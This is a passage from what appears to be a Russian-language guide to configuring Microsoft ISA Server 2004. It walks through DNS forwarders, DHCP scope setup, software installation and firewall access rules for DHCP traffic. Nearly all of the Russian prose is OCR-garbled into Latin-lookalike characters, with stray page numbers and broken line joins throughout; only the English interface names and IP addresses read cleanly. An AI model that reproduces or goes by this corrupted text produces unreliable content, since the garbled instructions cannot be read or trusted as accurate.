tools (AamunucTpupoBanue) u menkauTe myHkT DNS.

B xoncomn DNS Management (Ynpasiaenue DNS-cepBepom) npaBoil KHOITKOH
MBI TICJIKHUTE WMS CEpBEpa B JIGBOW IMAHEIW KOHCOJW W B KOHTEKCTHOM
MeHIO BeiOepuTe myHKT Properties (CpoiicTsa).

B numamoroBom oxHe Properties (CpoiicTBa) IIEIKHUTE MBIIIBIO BKIAJKY
Forwarders (ITepecbuika)

Ha Bkmaake Forwarders (Ilepecwiika) BBeaute |IP-aapec BHYTpeHHEro
uHTepdeiica Opanmmayspa ISA Server 2004 B TekctoBoe moje Selected
domain's forwarder IP address list (Crucok IP-agpecoB cepBepoB HepeChUIKH
11 BeIOpanHoro qoMmena). Haxxmure knonky Add (Jlo6aBuTh).

IP-anpec BuyTpennero unrepdeiica Opanamayspa ISA Server 2004 nosiButcs B
CIIHCKE aJIPECOB CEPBEPOB MEPECHUIKH.

YcranoBute duaxok B moje Do not use recursion for this domain (He ucnos-
30BaTh PEKYPCHIO IS ATOTO JIOMEHa). DJTOT mapamerp 3ampemaer DNS-
cepBepy BHYTpPEHHEH CeTH paspeliarh MMsi CaMOCTOSITENIbHO B Cilydae, €Clu
CepBep MepechUIoK Ha OparaMayspe ISA He ctocoOeH pa3pentuTh M.

Oo6parute BHuManue, yTo DNS-cepBep Bo BHYTpeHHEl ceTH elie He CrocoOeH

pa3pemiath MMeHa xocToB B MHTepHeTe. Ellle Hy)XHO CO31aTh MpPaBWIO JOCTYIA,

kotopoe pazpemaer DNS-cepepy nmoctynm k DNS-cepepy na Opamamayspe ISA.

I[anee B O9TOM pa3aciiC MOKa3aHO, KaK CO31aBaThb TaAKOC IPaBHUJIO JOCTYIIA.

YcranoBka u koHpurypupoBanue DHCP-cepBepa na 6panamayspe ISA

VY kaxnoro kommbloTepa JoibkeH OwiTh |P-aapec u nmpyras undopmanms,

MMO3BOJAOIIIAA €My B3aHMO)I€ﬁCTBOBaTB C OpyruMu KOMIIBIOTEpaMH B CCTH U B
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Untepuere. Cnyx6a DHCP-cepBepa MoxkeT ObITh ycTaHOBIIEHA Ha OpaHamayaspe I1SA,
oHa npeaocTanisieT nHGopmaruio 06 IP-agpecax KoMImbIOTEpaM BO BHYTPEHHEH CETH.
[Ipenmonoxum, yto Opanamaysp ISA Oyaer ucnonb3oBatbes B kadectBe DHCP-
cepBepa. Ecmm B cetm yxe ectb DHCP-cepBep, To ciemyrommii pasmen MOXKHO
IPOIYCTHUTb.

[MPEAYIIPEXJIEHUE

B cetu ne nomkHo O0bITh Apyrux DHCP-cepBepoB. Ecnu B ceTu ecth ele oauH
KOMIBIOTEP, BhICTynatonmii B ponmu DHCP-cepBepa, TO HY)KHO OTKJIIOYHTH Ha HEM
cryx0y DHCP Tak, uro0sr Opammmaysp ISA Server 2004 BwicTyman B poju

eauacTBeHHoro DHCP-cepBepa B cetu.

YcranoBka ciayxos1 DHCP

Cayx0y DHCP-cepBepa moxHO ycTanoButh Ha 6aze OC Windows 2000 Server
u Windows Server 2003- Iporecc yCTaHOBKM HEMHOTO OTIMYACTCS JUIS THX JIBYX
OTEpallMOHHBIX CHUCTEM. B 3TOM paszene paccMaTpuBaeTCs YCTaHOBKA CIY>KOBI

DHCP-cepBepa na 6a3e Windows 2000 Server u Windows Server 2003.

YcranoBka cay:xkobl DHCP-cepBepa Ha 6aze Windows Server 2003
Jlnst Toro uToObl ycraHoBHUTH cityk0y DNS-ceprepa na 6a3e Windows Server 2003,
BBITTOJTHUTE CIICIYIONIHE JICHCTBUS:

e Haxwmure xHomky Start (ITyck), ycranoBute kypcop Mbimi Ha Control Panel
(ITamens ympaenenuss) u BoiOepute myHKT Add or Remove Programs
(YcraHOBKa U yaJIeHUE IPOTpaMM).

e B okae Add or Remove Programs (YcraHoBKa WM yaaJeHHE MPOTPaMM)
IICIKHU
te Mbimbio  Add/Remove Windows Components (YcranoBka/V nancHue
kommonentoB Windows).

e B muamoroom oxne Windows Components Wizard (Mactep KOMIIOHEHTOB
Windows) Bwioepute Networking Services (CereBble ciayxObl) M3 CIHCKa
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Components(KommonenTsr Windows). He ycrta Ha BiauBaiiTe (hiakok B rosie!
Brinenus 3ammck Networking Services (CeteBbie CITy:KObI) HAKMHUTE KHOIKY
Details... (Cocras...).

e B mmanoroBom okHe Networking Services (CereBbie ciyx0ObI) (puc. 6.21)
ycranoBute (axkok B moje Dynamic Host Configuration Protocol (DHCP) u
HaxMute KHonky OK

e Haxmure kHomky Next (manmee) B mamamoropom okune Windows Components
(KommonenTsr Windows).

e Haxwmure xuHonky Finish (I'otoBo) Ha crpanune Completing the Windows
Components Wizard (3aBepiienne Mmactepa kommonentoB Windows).

e 3akpoiite okHo Add or Remove Programs (YcraHoBKa WU YAaJCHHE

IPOrpamm).

Koundurypuposanue ciayxos1 DHCP

DHCP-cepBep momxeH ObITb ckoHpurypupoBan ¢ Habopom IP-aapecos,
KOTOpPBIE OH MOXET MpHCBaMBaTh KoMIbloTepam B uyacTtHoi cetn. DHCP-cepsep
TaKkKe TMPEJOCTABISICT JIOMOJHUTENbHYI0 uH(opmaruio mnomumo IP-agpeca,
BKIIOUaronryro aapec DNS-cepBepa, 0CHOBHOI NITI03 M IEPBUYHOE UMS JOMEHA.

Anpeca DNS-cepBepa ¥ OCHOBHOTO TIUTIO3a, Ha3HAYaeMble KOMIIBIOTEDY,
coBnagatoT ¢ IP-ampecom BHyTpeHHero untepdeiica Opanamayspa ISA. DHCP-
cepBep wucnonpdyer obOmactb DHCP, 4to0wsl mpemocTaBuTh 3Ty UH(GOPMAINIO
KIIMeHTaM BHYyTpeHHel cetu. Heob6xomumo co3gats obmacte DHCP, xotopas
MPEAOCTaBIsACT KIMEHTaM BHYTPEHHEW ceTw mpaBuiibHylo uHbopmarmioo o6 IP-
azpecax.

[TPUMEYAHUE

DHCP-cepBep He nomkeH HazHayaTh aApeca, KOTOPhIE YK€ HCIOIb3YIOTCS B
cetn. HyxHo co3mare uckmodenust s 3Tux |P-agpecoB. B kadecTtBe mpumepa
MOXKHO TMPHUBECTH CTaTHYECKHE WJIM 3ape3epBUPOBAHHbIC aJpeca, Ha3HAUCHHBIC
nevyaTtHbiM, (aioBeiM, mouToBbIM Wi \Web-cepBepam, 3TO JIHIIL HECKOJBKO
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IPUMEPOB YCTPOICTB MJIM CEPBEPOB, KOTOPHIE MOCTOSHHO UCHOIB3YIOT OAHH U TE€ K€
Ha3HAYCHHBIE MM Ha TMOCTOSHHOW ocHoBe |P-ampeca. Ecim anms sTux aapecoB He
co3aath uckiaroueHus, To DHCP-cepBep BBIMOIHUT pa3pelieHne aapecoB, a KOorjaa OH
OOHApYXHUT, YTO 3TH aJpeca YK€ HCIOJB3YIOTCS, TO OH MOMECTHUT HX B TPYIITY
wioxux azapecos (bad address group). Kpome Toro, xopoino CKOHGHUI'YpHpOBaHHAS
CeTh CIPYNIHUPYET KOMIBIOTEPHl B cMexHble Onoku |P-anpecoB. Hampumep, Bce
KOMIIBIOTEPHI, KOTOPHIM JIOJDKHBI OBITh Ha3HAYEHHBI cTatndeckue |P-ampeca, BXOIAT B
OJIH OJIOK.

Jliis toro uroObr Hactpouth DHCP-cepBep Ha 6aze Windows Server 2003 c
o0nacTeio, KOoTOpas OyAeT Ha3HayaTh MpaBWibHYI0 uHHPopManuio o0 IP-agpecax
KJIMCHTaM BHYTPEHHEH CETH, BHITIOJTHUTE CICAYIOIINE TCHCTBUS:

[MPEAYIIPEXXIEHUE

Eciu B kopnopatuBHOM cetn yxe ectb DHCP-cepBep, He BhINONHSNTE 3TU
neictBusa u He ycraHaBimmuBaiite DHCP-cepep Ha 6panmmayspe ISA. DHCP-cepsep
ClIeyeT yCTaHaBJIMBaTh Ha OpanaMayspe ISA, TOIbKO eciv BO BHYTPEHHEW CETH HET
DHCP-cepgepa.

e Haxwmure knonky Start (ITyck) u ycranoBute Kypcop Mbimu Ha Administrative
Tools (AnmunuctpupoBanue). Haxxmute knonky DHCP.

e Paspepuurte Bce y3nbl B JieBod manenu koHcoau DHCP. TlpaBoii kHOmKOM
MBI TICIKHUTE UMS CEpBEpa B JICBOW MaHEIM KOHCOJM M HAKMHUTE KHOIKY
New Scope (Coznate 0671acTh).

e Haxwmure xHomky Next ([amee) ma crpanune Welcome to the New Scope
Wizard (Bac npuBeTcTBYeT MacTep CO3JaHMs 00JIaCTH).

e Bgenute SecureNAT Client Scope (O6macts mist kiauenta SecureNAT) B
tekctoBoM mosie Name (Mwms) wa crpanune Scope Name (Mms oGmactw).
Haxxmute kaonky Next ([lanee).

e Ha crpanwune IP Address Range (/Inamason aapecoB) BBeauTe nepsbiid IP-aapec
u mocinenauii |P-ampec nmamasona B TekctoBhle monss Start IP address
(Havanenwii IP-ampec) u End IP address (Koneunsiii IP-ampec). Hampumep,
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MpU HCTONb30BaHUM uaeHTH(uKaTopa cetu 192.168.1.0 ¢ mackoii moacetu
255.255.255-0 BBenuTe HawanbHbIM IP-aapec 192.168.1.1, a xoneunsiit |IP-
anpec 192.168.1.254. Haxxmute kaonky Next ([lanee).

Ha crtpannme Add Exclusions ([lo6aBnenue uckimrouenuii) BBenute IP-ampec
BHyTpeHHero untepderica Opanamayspa ISA B TekcroBoe mose Start IP address
(Hauaneueiii IP-ampec) n maxkmure kaonky Add (JloOauts). Eciu B cetn
MMEIOTCSI CEpBEphl WIM paboyue CTaHIMU cO crathueckumu |P-aapecamu,
KOTOpBbIC HE HYXHO MEHSTh, M00aBbTEe ITH aapeca B CIUCOK HCKIFOYCHHH.
Haxxmute kHonky Next ([lanee), mocie Toro kak OyayT n00aBlieHbI BCe ajipeca,
KOTOPBIE HY»KHO UCKIIFOUUTH 13 obaactu DHCP.

Ha crpanume Lease Duration (Cpok jaeiicTBHS apeHIbl aapeca) OCTaBbTE
CTaHJapTHOE 3HaueHue U HaxxmuTe kHonky Next ([lanee).

Ha crtpanune Configuring DHCP Options (Hacrtpoiika mapamerpoB DHCP)
BeIOepuTe Yes, | want to configure these options now (/la, HacTpouTh 3TH
napameTpsl ceivac) u menkaute knonky Next ([Janee).

Ha crtpanune Router (MapmpyTtuzatop, oCHOBHOHM 1u1t03) BBenute |P-ampec
BHYTpPeHHEro wuHTepdeiica Opanamayspa ISA wu Haxmure kHOmkKy Add
(o6aBuTth). Haxxmute kHonky Next (anee).

Ha ctpanunie Domain Name and DNS Servers (Mms nomena u DNS-cepBepsr)
BBenute |IP-anpec BHyTpennero muTepdeiica Opanamayspa ISA B TekcToBOE
noje IP address (IP-ampec) m naxkmute kHonky Add ([do6aeuth). Ecnu BO
BHYTpeHHE#H cetn mMmeercs nomeH Active Directory, BBenuTe MMs JOMEHa
BHYTPEHHEH ceTH B TekcToBoe mose Parent domain (Poaurenbckuii tomen). He
BBOJIMTE M3 JIOMEHa B TekcToBoe mojie Parent domain (PoauTenbekuii 1oMeH),
eclii BO BHYTpeHHEH ceTtu HeT aomena Active Directory. IllenkHuTe KHOMKY
Next (Janee).

He BBoaute Hukakyro uHpopmanuto Ha crtpanuine WINS Servers (WINS-

cepBephl),
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ecii Bo BHyTpeHHel cetu HeT WINS-cepBepa. Eciam Bo BHyTpeHHeW ceTu
umeetrcss WINS-cepsep, BBeaute 31oT IP-ampec B TexcToBoe mose IP address
(IP-anpec). Haxxmure kaoniky Next ([lanee).

e Bridepure Yes, | want to activate this scope now (/la, s Xxo4y aKTHBHPOBATH ITY
o0jacTh ceiuac) Ha crpanuie Activate Scope (AKTHBHpOBaTh 00JIaCcTh) U
Ha)XMUTE KHOTIKY Yes ([la).

e Haxwmure xHonky Finish (I'oroBo) ma ctpanune Completing the New Scope

Wizard (3aBepiieHre MacTepa co3aHus 00JIacTH).

YcraHOBKA U KOH(PUTYPUPOBAaHUE MPOrPAMMHOI0 o0ecriedeHunst
ISA Server 2004

Teneppr MOXHO TIPUCTYIIUTh K YCTAaHOBKE IIPOTPAMMHOTO oOOecIeueHus
OpanmMayapa ISA.

UtoOBbl yCcTaHOBUTH TporpamMmHoe obOecrnieuenne Opanamayspa ISA Ha
kommbioTepe Ha 6aze OC Windows Server 2003 ¢ aByMs CeTEeBBIMHU ajanTepamH,
BBITIOJIHUTE CJIEAYIONINUE ICHCTBUS:

e BcraBpTe ycTaHOBOUHBIN KoMmIakT-muck st ISA Server 2004 B quckoBop st
KOMITaKT-TUCKOB HJIM YCTAHOBHUTE COCAMHEHHE C OOIIMM CETEBBIM PECypcoM, B
KOTOPOM HaxoAsTcsi yctaHoBouHbIe (aitnbl ISA Server 2004. Ecnu mporpamma
YCTAaHOBKM HE 3aMyCTUTCS aBTOMATHYECKH, JBAXIbI MICIKHUTE MBIIIBIO (haii
ISaautorun.exe B KopHe JepeBa YCTAHOBOYHBIX (aiioB.

e Ha crpanunie Microsoft Internet Security and Acceleration Server 2004 1es-
kHuTe MbIbi0 Review Release Notes (Mudopmarius o Bepcun) U MPOYTHTE UH-
dopmaruio o Bepcun. I1a nHpOpMaIHsI O BEPCUH COJAEPIKUT MOJIC3HbIE TaHHbIC
0 BOXXHBIX MOMEHTaX U BO3MOXHOCTSX KoH(purypupoBanus. [locie mpocmorpa
uHpOpManuu O Bepcuu ImenkHuTe Mbimbio Read Setup and Feature Guide
(ITpouecTh pyKOBOJICTBO MO ycTaHOBKE M GyHKIUsAM). He 00s3aTenbHO YnUTATh
BCE PYKOBOJACTBO Cpa3y, €ro MOXKHO pacnedyarartb M TPOYECTh IOTOM.
[lenkaute mermbto Install ISA Server 2004 (Ycranosuts ISA Server 2004).
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Haxmute xnomky Next (damee) ma crpanune Welcome to the Installation
Wizard for Microsoft ISA Server 2004 (Mactep ycranoBkm Microsoft ISA
Server 2004).

Brei6epute Bapuant | accept the terms in the license agreement (5 cortacen) Ha
ctpanutie License Agreement (JIumer3nonHoe coriamenue). HaxMure KHOTIKY
Next ([Janee).

Ha crpanune Customer Information (Mudopmarus o mojib30BaTesie) BBEIUTE
UM TIOJIb30BaTeNII M Ha3BaHUE OpraHu3aluu B TeKcToBbIe mojisi User Name
(Mms) u Organization (Opranusanusi). Beeaure cepuiiHbIi HOMEP B TEKCTOBOE
none Product Serial Number (Cepuiinbiii HOMep). IllenkauTe kHOMKY Next
(Hainee).

Ha ctpanure Setup Type (Tun ycTaHOBKHM) IIEIKHUTE MBIIIBI0 Bapuant Custom
(ITomp3oBarenbekasi). Ecnu  He  HYXHO  yCTaHaBIMBAaTh  MPOrpaMMHOE
obecrieuenne OpanmMmayspa ISA Ha gucke C:, MIENKHUTE MBIIBIO KHOMKY
Change (M3meHuTh), 4TOOBI HM3MEHUTH MECTO YCTAHOBKHM IPOrpaMMbl Ha
xectkoM aucke. Haxmure knonky Next ([Janee).

Ha crpanunie Custom Setup (ITomb3oBaTenbckas yCTaHOBKA) BBIOEpUTE
yCTaHaBIMBaeMble  KOMMOHEHTHl. [lo  yMOm4aHWIO  yCTaHaBIMBAIOTCS
xommonentsl Firewall Services, Advanced Logging u ISA Server Management.
CpenctBo koutponss SMTP- coobmenuii (Message Screener), koTopoe
UCIIOJIb3YeTCST Il TOTO, 4YTOOBI KOHTPOJMPOBATH CHaM ©  BIIOKECHUS,
MOCTyNalolIfe B CETh W HUCXOIIIIMEe W3 Hee, HE YCTAaHABIMBAETCSA IIO
ymonmyanuto. llpexxne uem ycranaBimuBath Message Screener, HYXKHO
yctanoBUTh SMTP-cnyx0y 11S 6.0 Ha xommnbroTepe Opanamayspa ISA Server
2004. B nanHoM ciyuyae OyzeT yCTaHOBJICH OOIIUI pecypc ¢ yCTaHOBOUYHBIMU
daitnamu s knueHta opanamayaspa Firewall Client Installation Share, uroGsr
BITOCJICICTBHM MOJKHO OBIJIO YCTaHOBUTH KJIHEHT OpaHaIMayl’pa Ha JIPYrux
KOMIThIOTEpPaX BO BHYTpeHHEW ceTu. ll[enkHWTEe MBINMIBIO 3HAYOK X CJIeBa OT

napametpa Firewall Client Installation Share u menkuute mbimibto This feature,
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and all subfeatures, will be installed on the local hard drive (3ta pynkuus u Bce
noAGyHKIUKA OyayT YCTAHOBJCHBI HAa JIOKAJIBHOM JKECTKOM  JIUCKE).
Hcnonp30BaHne KIMEHTa OpaHAMAay’pa MO3BOJISET JIydllle 3alUTUTh CETh, IO
BO3MOXXHOCTH CJI€IyeT BCEr/la YCTaHaBIMBaTh KIWMEHT OpaHIMay’pa Ha
KIMCHTCKUX KOMIIBIOTEpAaX BO BHYTpeHHeW cetu. Haxmmure kHOomKy Next
(Hanee).

Ha crpanume Internal Network (Buyrpenusis cerb) HaxkmutTe kHomky Add
(/lo6aBuTh). BHYTpeHHSS CeTh OTIMYAETCS OT TAOIHIIBI JIOKAJIBHBIX aIpecoB
(LAT, Local Address Table), koropas mcmonp3oBasiace B Opanamayaspe ISA
Server 2000. BHyTpeHHsi1 ceThb BKJIIOYaeT B ceOsl JIOBEpSEMbIC CETEBbHIE
CIIyk0bl, C KOTOPHIMH JOJDKEH B3auMojeiicTBoBaTh Opanamaysp ISA. B
KadeCcTBe TNpHMEpa TaKUX CIYy>KO MOXKHO TPH BECTH KOHTPOJIIEPHI JTOMEHA
Active Directory, DNS, DHCP, cuyx0Obl TepmuHasioB u ap. CucremHas
MOJINTHKA OpaHaIMay3pa UCIIONB3YET ONPEACIICHHE BHYTPEHHEH CETH BO MHOTHX
MpaBUjIaX CUCTEMHON TTOJIUTHKH.

Ha ctpanune Internal Network (Buyrtpenusisi ceth) Haxxmute KHONKy Select
Network Adapter (BriOpath ceTeBoii aganrep).

Ha crpanune Configure Internal Network (HactpouTs BHYTpEHHIOIO CETh) CHH-
mute ¢naxok B mome Add the following private ranges... ([lo6aBuTh
CJICAYIOIIME YaCTHbIC auama3oHsbl...). OcraBbre (aaxok B moje Add address
ranges based on the Windows Routing Table (Jlo6aBuTh 1rana3oHsl aapecoB Ha
ocHOBe TaOymiel MapmpyTuzanuu Windows). YcraHoBute ¢uiakok B T0JI€
PAZIOM C aganTepoM, COSAUHEHHBIM CO BHYTPECHHEH ceThio. B maHHOM ciydae
ceTeBble MHTEpdeENCchl ObUTM MEPEMMEHOBAaHBI TaK, YTOOBI uUMs HHTep(deiica
oTpaxkalio ero pacrnonoxenue. Haxmure knonky OK.

Haxxmute kHonky OK B 1aMaJioroBOM OKHE C COOOIIEHHEM O TOM, 4YTO
BHYTPCHHSS CETh OblIa OmpejesicHa Ha OCHOBAHHMM TAOJIUIIBI MapIIPYTH3AINH
Windows.

lenaxuute kHonky OK B aumamoroBom okue Internal network address ranges
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(lnanazoHbl aipecoB BHYTPEHHEU CETH).

e Haxmure xnonky Next ([lamee) na crpanuie Internal Network (Buyrpennss
CeTh).

e He ycranaBnmuBaiite ¢uraxxok B mojie Allow computers running earlier versions
of Firewall Client software to connect (Pazpemmth coeTMHEHNS KOMITBIOTEpaM
c Ooylee paHHUMH BEPCUAMH TPOTPAMMHOTO OOECIeYeHHsS KJIMEHTa
OpanaMayspa). OTOT TmapameTp TMpeanojaraet MNpPUMEHEHUE KIHCHTa
Opanamayspa HoBoro Opana wmayspa ISA. Ilpensimyiiue BepcuM KIMEHTa
Opanamaya3pa (BxosIIIIE B Proxy 2.0 u
ISA Server 2000) HEe TOIAEPKUBAIOTCA. DTOT IMapaMeTp TakKe pasperiacT
KJIMEHTY OpaHIMay’pa OTIPABISATH BEPUTENIbHBIC JTaHHbBIE IOJIb30BATENS IO
3amu(poBaHHOMY KaHaly Ha Opanamay’p ISA U mpoxoauTh MPOBEPKY
MOJITTMHHOCTH Ha Opanamayspe ISA B mpo3paunom pexume. [llenkanre KHOMKY
Next (lanee).

e Ha crpanune Services (Cmyx0Ob1) oTtMmeThTe, uTO0OBI ciayxk0b61 SNMP u 1S
Admin Service ObLTH OCTaHOBJICHBI Ha BpeMsl YCTAaHOBKH. Ecii Ha KOMITbIOTEpe
opannMayspa ISA Server 2004 ycraHosieHbl ciyxObl Internet Connection
Firewall (ICF)/Internet Connection Sharing (ICF) w/wm cinyx6a IP Network
Address Translation, To oHu OyayT OTKIIIOYCHBI, T. K. OHM KOH(MDIUKTYIOT C
nporpaMMHbIM obecrieuenrem Opanamayaspa ISA Server 2004.

e Illenkuure kHomky Install (Ycranoeuts) Ha ctpanune Ready to Install the
Program (YcranoBka nmporpaMmsl).

e Ha ctpanurie Installation Wizard Completed (3aBepiiienne paboTsl MacTepa yc-
TaHOBKH) HaxkMuTe KHONKY Finish (I'oToBo).

o Illenxuure xHomky Yes (/la) B muamoroBom oxHe Microsoft ISA Server, B
KOTOPOM COOOIIAETCS, UTO HYXKHO MEpe3anyCTUTh CepBep.

e BrmonHuTe BXOJ B CHUCTEMY KakK aJIMUHUCTpaTOp TIOCIe TMepe3amycka

KOMIIBIOTEPA.
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e Haxmure xnomky Start (ITyck) m ycranoBute kypcop Ha All Programs
(ITporpammer). YcranoBute kKypcop Ha Microsoft ISA Server u BwiOepuTte
nyHkT ISA Server Management. OTtkpoeTcs koHCoJb yrpaBienus Microsoft
Internet Security and Acceleration Server 2004, u nmosiButcs crpanuna \Welcome

to Microsoft Internet Security and Acceleration Server 2004.

KoundurypupoBanue 6panamayspa ISA
Ternepb MOXXHO HacTpOUTH IMOJUTUKY JocTyna Ha OpanaMayspe ISA. HyxHo
CO3/1aTh MATH MPABUII IOCTYTIA:

® [IpaBWIO, pa3peniaroiiee KIMeHTaM BHyTpeHHel cetu noctyn k DHCP-cepsepy
Ha OpanaMmayape |SA;

e mpaBwiIo, pazpemarormiee Opanamay’py ISA ormpaBaate DHCP-cooOmenus
XOCTaM BO BHYTPEHHEW CETH;

e mpaBwio, pazpemraroniee DNS-cepBepy BHYTpPEHHEM CETH HCIOJIb30BATh
opanamaysp ISA B kauectBe cBoero DNS-cepBepa. Dto mpaBuio ciemyer
CO3/1aBaTh, TOJBKO €CIIM BO BHYTpeHHEH ceTn nmeetcss DNS-cepsep;

® TpPaBWIO, pa3pelniaroiiee KIMeHTaM BHyTpeHHel cetu noctyn k DNS-cepBepy B
pe JKMME TOJIbKO KJIMpoBaHUA Ha Opanamayspe ISA. Dto mpasuio
HCIIONIL3YETCsI, TOJNBKO eclii BO BHyTpeHHew cetn HeT DNS-cepBepa nunm eciu
HY’KHO HCIOJb30BaTh Opanamaysp ISA B xauectBe DNS-cepepa B pexume
TOJBKO KJIIMPOBAHUS C 30HOW-3arjylIKOW, YKa3blBalOIEW HAa JIOMEH
BHYTPEHHEW CETH;

® TIPABWIJIO «BCE OTKPHITO», Pa3peliaroliee KIMEHTaM BHYTPEHHEN CeTH JOCTYI KO
BCEM IPOTOKOJaM U y3iam MHTepHeTa.

I[MPEAYIIPEXJIEHUE
[Tocnennee mpaBmiIO, «BCE OTKPHITO», UCHOIB3YETCS TOJIBKO JJI TOTO, YTOOBI
HayaTh paboTy. DTO MPABWIO MO3BOJISIET MPOTECTUPOBATH CIIOCOOHOCTh OpaHaMay3pa

ISA ycranaBnuBath coerHeHue ¢ IHTEpHETOM, HO OHO HE 00eCIIeYMBAaET HUKAKOTO
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KOHTPOJISI HCXOJSINIET0 JOCTyma, KakK 3TO JejaloT OOJIBITMHCTBO —aImapaTHBIX
Opanamay’poB ¢ (uubTpanueit makeroB. bpanamaysp ISA crocobeH obecneduTh
KOHTPOJIb BXOJAIIETO M HUCXOJAMIETO Tpaduka, MOATOMY HYXKHO BBIKIIOUYHUTH 3TO
MPAaBUJIO M CO3/1aTh MpaBUIIa JJIsl IOJIB30BATEICH/TPYIII, AJIs IPOTOKOJIOB U IS Y3JIOB
mocjie Toro, kKak Oa3oBble coeauHeHuss ¢ MHTepHeToM depe3 Opanamaysp ISA
OKaXYTCS YCIEITHBIMH.

[ToMuMO 3THX TIpaBWII JOCTYIA, CIEAyeT HACTPOUTH CUCTEMHYIO TIOJUTHKY OpaHama-

yapa, uTo0sI pazpemitb DHCP-oTBeTh ¢ DHCP-cepBepoB BHEITHEH CETH.

IIpaBuiao «DHCP Request to Server»
Jlist Toro uTo6b1 co3aaTh npasmino «DHCP Request to Server» (DHCP-3ampoc k
CEpBEPY), BHIMOJIHHUTE CIICIYIOIINE ICHCTBUS:

e B koncomu ympasnenuss Microsoft Internet Security and Acceleration Server
2004 passepauTe nMs cepBepa u meiakauTe myHkt Firewall Policy (ITonntuka
Opanamayspa

e B y3ne Firewall Policy (ITomutrka OpaHamayspa) IIEIKHUTE BKIAAKy Tasks
(3amaum). Ha manenu 3amau menkHuTe Mblmbio TyHKT Create a New Access
Rule (Co3nats HOBOE MpaBUIIO AOCTYIIA).

e Ha crpanunie Welcome to the New Access Rule Wizard (Mactep co3maHust
HoBoro mnpasuia gocryna) seenute DHCP Request to Server (DHCP-3anpoc k
cepBepy) B TekcroBoe mosie Access Rule name (Mms mpaBmiia aoctyma).
[enkuaute kHomky Next (Hanee).

e Ha crpanune Rule Action ([efictBue mnpaBuna) BeiOepute Allow
(Pa3pemraroriee)

n HaxxmuTe KHotKy Next ([anee).

e Ha crpanune Protocols (ITpotokossl) BeiOeputTe BapuanT Selected protocols

(K BBIOpaHHBIM MpOTOKOJIaM) U3 crimcka This rule applies to (9to npaBuio npu

MeHsieTest) u mienkauTe kHonky Add (JJo6aBuTs).

294
357



B muamoroBom oxHe Add Protocols (Jlo6aBuTh NPOTOKONBI) IIEIKHUTE
nanky Infrastructure (Muadpactpykrypa). J[Baxabl MIEIKHATE MBIIIBIO 3aMUCh
DHCP

(request) (DHCP, 3ampoc) u Haxxmute kHOKy Close (3akphITh).

Haxxmurte kaonky Next ([lanee) na ctpanuie Protocols (ITpotokoiisr).

Ha crpanune Access Rule Sources (Mcrounuku s MpaBuia JOCTYyIIA)
IIETTKHUATE

kHonky Add ([lo6aButs).

B numanoroBom oxue Add Network Entities (JJo0aBuTh ceTeBble OOBEKTHI)
menkHuTe Mbimblo manky Computer Sets (ITogMHOXXecTBa KOMIBIOTEPOB).
JIBakIIbI IICIIKHUTE MBIIIbI0 3anmuck Anywhere (Besne) W HaKMHUTE KHOIKY
Close (3akpbITh).

Haxxmure kHonky Next ([lanee) na ctpanuie Access Rule Sources (Mcrounuku
i mpaBwia jgoctymna). Ha crpanmme Access Rule Destinations (Aapecatsr
IpaBwJia JI0CTYTIA) HIEJIKHUTE
kHonky Add ([lo6aButs).

B mmanoroBom oxue Add Network Entities (JJoOaBuTh ceTeBble OOBEKTHI)
HICIKHUTE

Mbimbio nanky Networks (Cetw) m aBaxkabl mienkHuTe Mbimbio Local Host
(JToxampnsii xoct). lllenkaute kaonky Close (3akpbITh).

Haxmute kHomky Next (/lanee) wa crtpanurie Access Rule Destinations
(AnpecaTsl paBuia 10CTyNA).

Ha ctpanune User Sets (IToqmHoxecTBa noap30BaTesieil) 0CTaBbTe 3HAYEHUE TI0
ymomuanuio All Users (Bce mons3oBatenu) u menkaute, kHonky Next (lanee).
Ha crpannne Completing the New Access Rule Wizard (3aBepiienne padboThl
Ma

CTepa CO37aHusl HOBOTO MpaBWIA JOCTyMa) MPOBEPHTE HACTPOWKH U HAKMHTE

kHorky Finish (I'otoBo).
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IpaBuwio «DHCP Reply from Server»
Jiis coznmanus npasmina «DHCP Reply from Server» (DHCP-otBet ot cepBepa)
BBIMOJIHUTE CACIYIOIINE TCHCTBHS:

e B xonconu ympasienus Microsoft Internet Security and Acceleration Server
2004 pas3BepuuTe uMs cepBepa u Haxkmure kHonky Firewall Policy (ITonutuka
OpanmMayapa).

e B y3ne Firewall Policy (ITomutuka OpanaMayspa) IIEIKHATE MBIIIBIO BKIAIKY
Tasks(3amaun) Ha manenu 3aaa4. Ha manenu 3amay menkaute Mblibio Create a
New Access Rule (Co3nats HOBOE MpaBUIIO JOCTYIIA).

e Ha crtpanunie Welcome to the New Access Rule Wizard (Mactep co3maHust
HoBoro npaBuia jgocryna) seenute DHCP Reply from Server (DHCP-otset ot
cepBepa) B TekctoBoe mojie Access Rule name (Mms mpaBwia gocTyma).
[enkuure kHOKy Next (anee).

e Ha crpanune Rule Action (efictBue mnpaBuia) BeiOepute Allow
(Pa3pemaroniee) u menkuute kaonky Next (danee).

e Ha crpanure Protocols (ITporokossr) Beioepute Bapuant Selected protocols (K
BBIOpPaHHBIM MPOTOKOJaM) U3 crucka This rule applies to (3To mpaBwio mpu-
MeHseTcs1) u menkaute kaonky Add (Jlo6aBuTh).

e B nuanorosom okue Add Protocols (JIo6aBuTh MPOTOKOJIBI) IIEITKHUTE MBIIIBIO
nanky Infrastructure (Mudpactpykrypa). [IBaxkapl IIETKHUTE MBIIIBIO 3aKHCh
DHCP (reply) (DHCP, otBer) u Haxxmute kHOKy Close (3akphITh).

e Haxwmure knonky Next ([lanee) Ha crpanuiie Protocols (ITporokosisr).

e Ha crpanmme Access Rule Sources (Mcrounuku s MpaBuia JJOCTYyIIa)
mienkauTe kHonky Add (J{o6aBuTh).

e B amanoroBom oxnHe Add Network Entities (lo0aButh cereBbie OOBEKTHI)
menkauTe Mblmbio manky Networks (Cerw). [IBakapl MICIKHUTE MBIIIBIO

sanuck Local Host (JIokanbHblit xocT) 1 HaskMuTe KHONKY Close (3akpbITh).
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e Haxwmure xHonky Next (anee) Ha crpanume Access Rule Sources (McTounuku
JUIs1 IpaBUjia JOCTYIIA).

e Ha crpanunie Access Rule Destinations (AapecaTsl 1js mpaBuia OCTYIIa)
mienkanTe kHonky Add (J1o6aBuTh).

e B mumanoroBom okne Add Network Entities (/lo0aBuTh ceTeBble OOBEKTHI)
meiakHuTe MbImblo nanky Networks (CeTw) W ABaKIbl IICTKHUTE MBIIIBIO
3anuck Internal (Buyrpennss). Haxmure kHonky Close (3akphITh).

e Haxmure xnomky Next ([lamee) ma crpanmme Access Rule Destinations
(Anpecatsl mpaBuiia J0CTyNA).

